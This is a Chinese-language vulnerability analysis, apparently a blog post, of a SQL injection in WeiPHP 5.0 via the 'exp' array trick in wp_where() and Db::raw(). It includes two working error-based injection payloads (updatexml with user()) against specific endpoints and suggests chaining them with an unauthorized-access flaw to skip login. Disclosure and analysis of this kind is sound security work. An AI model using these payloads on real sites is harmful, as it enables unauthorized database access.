和thinkphp3.2.3的exp注入类似。
payload
1http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- +
分析
\app\home\controller\Index::bind_follow()
uid直接通过I()
获取
1<?php
2function I($name, $default = '', $filter = null, $datas = null)
3{
4 return input($name, $default, $filter);
5}
然后经过 wp_where()
-> where()
-> find()
函数
1<?php
2$info = M('user_follow')->where(wp_where($map))->find();
跟进 wp_where()
1<?php
2function wp_where($field)
3{
4 if (!is_array($field)) {
5 return $field;
6 }
7
8 $res = [];
9 foreach ($field as $key => $value) {
10 if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
11 if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
12 $value[2] = Db::raw($value[2]);
13 }
14 $res[] = $value;
15 } elseif (is_array($value)) {
16 if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
17 $value[1] = Db::raw($value[1]);
18 }
19 $res[] = [
20 $key,
21 $value[0],
22 $value[1]
23 ];
24 } else {
25 $res[] = [
26 $key,
27 '=',
28 $value
29 ];
30 }
31 }
32 // dump($res);
33 return $res;
34}
在elseif语句中,如果传入的字段是数组,并且下标为0的值为exp,那么会执行 Db::raw()
来进行表达式查询
跟进 Db::raw()
进入到 \think\Db::__callStatic
,$method
为 raw()
1<?php
2public static function __callStatic($method, $args)
3{
4 return call_user_func_array([static::connect(), $method], $args);
5}
call_user_func_array回调[static::connect(),$method]
,跟进static::connect()
1<?php
2public static function connect($config = [], $name = false, $query = '')
3{
4 // 解析配置参数
5 $options = self::parseConfig($config ?: self::$config);
6
7 $query = $query ?: $options['query'];
8
9 // 创建数据库连接对象实例
10 self::$connection = Connection::instance($options, $name);
11
12 return new $query(self::$connection);
13}
返回的是\think\db\Query
类,那么call_user_func_array回调的就是\think\db\Query
类下的 raw()
方法。
继续跟进
1<?php
2//\think\db\Query::raw
3public function raw($value)
4{
5 return new Expression($value);
6}
发现返回的是一个表达式,最后wp_where()
返回res
进入到where()
1<?php
2public function where($field, $op = null, $condition = null)
3{
4 $param = func_get_args();
5 array_shift($param);
6 return $this->parseWhereExp('AND', $field, $op, $condition, $param);
7}
进入parseWhereExp()
1<?php
2protected function parseWhereExp($logic, $field, $op, $condition, array $param = [], $strict = false)
3{
4 ...省略
5 if ($field instanceof Expression) {
6 return $this->whereRaw($field, is_array($op) ? $op : [], $logic);
7 } elseif ($strict) {
8 // 使用严格模式查询
9 $where = [$field, $op, $condition, $logic];
10 } elseif (is_array($field)) {
11 // 解析数组批量查询
12 return $this->parseArrayWhereItems($field, $logic);
13 }
14 ...省略
15 return $this;
16}
满足elseif是数组条件,进入到 parseArrayWhereItems()
1<?php
2protected function parseArrayWhereItems($field, $logic)
3{
4 if (key($field) !== 0) {
5 $where = [];
6 foreach ($field as $key => $val) {
7 if ($val instanceof Expression) {
8 $where[] = [$key, 'exp', $val];
9 } elseif (is_null($val)) {
10 $where[] = [$key, 'NULL', ''];
11 } else {
12 $where[] = [$key, is_array($val) ? 'IN' : '=', $val];
13 }
14 }
15 }
16 else {
17 // 数组批量查询
18 $where = $field;
19 }
20
21 if (!empty($where)) {
22 $this->options['where'][$logic] = isset($this->options['where'][$logic]) ? array_merge($this->options['where'][$logic], $where) : $where;
23 }
24
25 return $this;
26}
合并where条件之后返回$this
,然后进入到find()函数
1<?php
2public function find($data = null)
3{
4 if ($data instanceof Query) {
5 return $data->find();
6 } elseif ($data instanceof \Closure) {
7 $data($this);
8 $data = null;
9 }
10
11 $this->parseOptions();
12
13 if (!is_null($data)) {
14 // AR模式分析主键条件
15 $this->parsePkWhere($data);
16 }
17
18 $this->options['data'] = $data;
19
20 $result = $this->connection->find($this);
21
22 if ($this->options['fetch_sql']) {
23 return $result;
24 }
25
26 // 数据处理
27 if (empty($result)) {
28 return $this->resultToEmpty();
29 }
30
31 if (!empty($this->model)) {
32 // 返回模型对象
33 $this->resultToModel($result, $this->options);
34 } else {
35 $this->result($result);
36 }
37
38 return $result;
39}
进入$this->connection->find($this)
1<?php
2public function find(Query $query)
3{
4 // 分析查询表达式
5 $options = $query->getOptions();
6 $pk = $query->getPk($options);
7
8 $data = $options['data'];
9 $query->setOption('limit', 1);
10 ...
11
12 $query->setOption('data', $data);
13
14 // 生成查询SQL
15 $sql = $this->builder->select($query);
16
17 $query->removeOption('limit');
18
19 $bind = $query->getBind();
20
21 if (!empty($options['fetch_sql'])) {
22 // 获取实际执行的SQL语句
23 return $this->getRealSql($sql, $bind);
24 }
25
26 // 事件回调
27 $result = $query->trigger('before_find');
28
29 if (!$result) {
30 // 执行查询
31 $resultSet = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);
32
33 if ($resultSet instanceof \PDOStatement) {
34 // 返回PDOStatement对象
35 return $resultSet;
36 }
37
38 $result = isset($resultSet[0]) ? $resultSet[0] : null;
39 }
40 ...
41
42 return $result;
43}
在$this->builder->select($query)
生成SQL语句,带入恶意SQL
造成注入。
影响范围
2019/12/11 weiphp5.0官网最新版
所有使用了 wp_where()
函数并且参数可控的SQL查询均受到影响,前台后台均存在注入。
需要登录的点可以配合之前写的《weiphp多数模块存在未授权访问》来绕过登录进行注入。
比如
1http://php.local/public/index.php/weixin/message/_send_by_group
2POST:group_id[0]=exp&group_id[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) --
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论